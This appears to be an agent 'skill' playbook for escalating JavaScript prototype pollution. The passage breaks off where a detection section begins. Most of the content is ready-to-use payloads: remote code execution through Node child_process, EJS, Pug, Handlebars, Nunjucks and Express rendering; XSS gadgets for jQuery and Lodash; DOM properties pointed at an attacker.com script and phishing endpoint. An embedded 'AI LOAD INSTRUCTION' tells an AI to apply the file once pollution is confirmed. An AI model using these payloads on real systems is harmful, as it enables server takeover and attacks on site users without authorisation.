/prototype-pollution-advanced

name: prototype-pollution-advanced
description: >-
  Advanced prototype pollution playbook — server-side RCE, client-side gadgets, filter bypasses, and detection techniques. Companion to ../prototype-pollution/ for basics. Use when you've confirmed pollution and need to escalate to code execution or find framework-specific gadgets.

SKILL: Prototype Pollution Advanced — RCE & Gadget Exploitation

> **AI LOAD INSTRUCTION**: Advanced prototype pollution escalation. Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js child_process gadgets, client-side script gadgets, filter bypass patterns, and systematic detection. Load [../prototype-pollution/SKILL.md](../prototype-pollution/SKILL.md) first for fundamentals (merge sinks, `__proto__` vs `constructor.prototype`, basic probes).

0. RELATED ROUTING

• [prototype-pollution](../prototype-pollution/SKILL.md) — **LOAD FIRST** for PP fundamentals, merge-sink detection, basic probes
• [ssti-server-side-template-injection](../ssti-server-side-template-injection/SKILL.md) — template engine RCE context (PP often triggers through template gadgets)
• [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) — client-side PP gadgets ultimately achieve XSS

Advanced Reference

Load [KNOWN_GADGETS.md](./KNOWN_GADGETS.md) for the comprehensive gadget table by framework/library with polluted properties, trigger conditions, impact, and affected versions.

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1. SERVER-SIDE PP → RCE

1.1 Node.js child_process.spawn — Shell/ENV Injection

When `child_process.spawn` or `child_process.fork` is called without explicit `env`/`shell` options, it inherits from `Object.prototype`:

// Vulnerable pattern (very common):
const { execSync } = require('child_process');
execSync('ls');  // inherits shell, env from prototype

// Pollution for RCE:
Object.prototype.shell = '/proc/self/exe';
Object.prototype.argv0 = 'console.log(require("child_process").execSync("id").toString())//';
Object.prototype.NODE_OPTIONS = '--require /proc/self/cmdline';
// Next child_process call executes attacker code

Alternative ENV pollution:

{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}

1.2 EJS (Embedded JavaScript Templates)

EJS `render()` reads `opts` from object properties. Polluting `outputFunctionName` injects code into the compiled template function:

// Pollution payload:
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}

// When EJS renders ANY template after pollution:
// Compiled function includes: var x;process.mainModule.require('child_process').execSync('id');s = "";
// → RCE

Detection: any EJS `res.render()` call after pollution triggers it.

1.3 Pug (formerly Jade)

Pug's compiler reads `block` from object properties:

{"__proto__": {"block": {"type": "Text", "val": "x]);process.mainModule.require('child_process').execSync('id');//"}}}

Alternative via `self` option:

{"__proto__": {"self": true, "line": "x]});process.mainModule.require('child_process').execSync('id');//"}}

1.4 Handlebars

Handlebars template compilation checks `type` and `program` on template AST nodes:

{"__proto__": {"type": "Program", "body": [{"type": "MustacheStatement", "path": {"type": "PathExpression", "original": "constructor.constructor('return process.mainModule.require(`child_process`).execSync(`id`)')()","parts": ["constructor","constructor"]}, "params": [], "hash": null}]}}

Simpler via `allowProtoMethodsByDefault`:

{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}
// Then use {{#with this as |obj|}}{{obj.constructor.constructor "return process.mainModule.require('child_process').execSync('id')"}}{{/with}}

1.5 Nunjucks

{"__proto__": {"type": "Code", "value": "global.process.mainModule.require('child_process').execSync('id')"}}

1.6 Express res.render (Generic)

When Express calls `res.render()`, options merge with `app.locals` and `res.locals`. Polluted prototype properties appear as template variables:

{"__proto__": {"view options": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}}

---

2. CLIENT-SIDE PROTOTYPE POLLUTION

2.1 jQuery Gadgets

`$.extend(true, {}, userInput)` performs deep merge — classic PP sink.

After pollution, jQuery's HTML methods use polluted properties:

// Pollution:
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';

// Trigger: any jQuery DOM manipulation that reads innerHTML from prototype
$('<div>').appendTo('body');  // may use polluted property

2.2 Lodash Gadgets

// Vulnerable functions (deep merge):
_.merge({}, userInput)
_.defaultsDeep({}, userInput)
_.set(obj, path, value)  // if path is attacker-controlled

// template() gadget:
Object.prototype.sourceURL = '\u000ajavascript:alert(1)//';
_.template('hello')();  // sourceURL injected into Function constructor

2.3 Script Gadgets in Frameworks

"Script gadgets" are framework code paths that read from `Object.prototype` and perform dangerous operations:

| Framework | Gadget Pattern | Polluted Property | Impact | |---|---|---|---| | jQuery | `$.html()`, element creation | `innerHTML`, `src` | XSS | | Angular.js | `$interpolate` | `__defineGetter__` | XSS | | Vue.js | Template compilation | `template`, `render` | XSS | | Ember.js | Component rendering | Various view properties | XSS | | Backbone.js | `_.template` | `sourceURL` | XSS |

2.4 DOM Property Pollution

Object.prototype.src = 'https://attacker.com/evil.js';
Object.prototype.href = 'javascript:alert(1)';
Object.prototype.action = 'https://attacker.com/phish';
// Any dynamically created element may inherit these

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3. DETECTION TECHNIQUES

3.1 Black-Box Server-Side Detection

Step 1: Inject and check